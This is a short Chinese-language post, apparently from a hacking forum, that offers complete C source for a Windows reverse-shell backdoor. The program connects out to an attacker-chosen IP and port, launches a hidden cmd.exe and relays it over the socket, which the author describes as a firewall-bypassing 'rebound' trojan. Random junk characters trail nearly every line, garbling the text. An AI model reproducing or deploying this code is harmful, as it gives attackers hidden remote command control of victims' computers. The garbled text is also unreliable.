这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qRr;&M &t_
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/* ============================== wBr0s*1I
Rebound port in Windows NT D =3NI
By wind,2006/7 MQI6e".
===============================*/ myPo&"_ x
#include D;Z\GnD
#include
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#pragma comment(lib,"wsock32.lib") +UB. M
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void OutputShell(); oRCj]9I$
SOCKET sClient; LEY$St
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5y.kOe4vH
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void main(int argc,char **argv) M]oaWQu
{ w|N LK
WSADATA stWsaData; gI[xOK#
int nRet; i`X/d=
SOCKADDR_IN stSaiClient,stSaiServer; ?8`b
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if(argc != 3) -(Yq$5Zc&
{ 1;>J9
printf("Useage:\n\rRebound DestIP DestPort\n"); ;0 ,-ywK
return; b8Y-!]F
} Qax=_[r
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^W;\faG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Ln)v
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stSaiClient.sin_family = AF_INET; PKmr5FB
stSaiClient.sin_port = htons(0); oPl^tzO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oH$4K8j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >Ka}v:E
{ c1c8):o+V
printf("Bind Socket Failed!\n"); y%f'7YZ4
return; uq'T:d
} !?,rcgi
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stSaiServer.sin_family = AF_INET; [$$i1%c%Z<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |%Pd*yZA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [8[g_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ApR>b%
{ BVU>M*k
printf("Connect Error!"); 2{(_{9<>z
return; 8a)lrIg
} T:dV[3
OutputShell(); O(#DaFJv
} (}
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void OutputShell() wX[g\,?}'
{ WTbq)D(&[_
char szBuff[1024]; 0F/o
SECURITY_ATTRIBUTES stSecurityAttributes; t[VA|1gG
OSVERSIONINFO stOsversionInfo; d[=~-[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B^nE^"b
STARTUPINFO stStartupInfo; P 9c!
char *szShell; '>4H#tu
PROCESS_INFORMATION stProcessInformation; )H8Rfn?
unsigned long lBytesRead; ^zn&"@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q8#zv_>K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @Jr:+|v3B
stSecurityAttributes.lpSecurityDescriptor = 0; JS$ojL^
stSecurityAttributes.bInheritHandle = TRUE; ozB2L\D7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *MC+i$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pr-=<[ d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cao=O
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "RcNy~
stStartupInfo.wShowWindow = SW_HIDE; 6
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stStartupInfo.hStdInput = hReadPipe; y!eT>4Oyg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 17la/7l<
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GetVersionEx(&stOsversionInfo); /x q^]0xy
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switch(stOsversionInfo.dwPlatformId) X)Zc*9XA
{ ?&Ug"$v
case 1: M47t(9krV
szShell = "command.com"; ]"ou?ot }
break; 6pP:Q_U$
default: *{DpNV8"
szShell = "cmd.exe"; x/NjdK
break; z>]P_E~`}
} @k+K_gR
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N1iP!m9Q
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send(sClient,szMsg,77,0); m941 Y
while(1) Y]VLouzl
{ g~p43sVV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QZ&
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if(lBytesRead) cS#yfN,
{ L9{y1'')
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B_mT[)ut
send(sClient,szBuff,lBytesRead,0); %-fQ[@5
} xciwKIpS
else 3!M|Sf<s
{ G,!{Q''w
lBytesRead=recv(sClient,szBuff,1024,0); I9Lt>*
if(lBytesRead<=0) break; "O~7s}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} F1*xY%Jv^M
} r17"i.n
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return; HSR,moI
}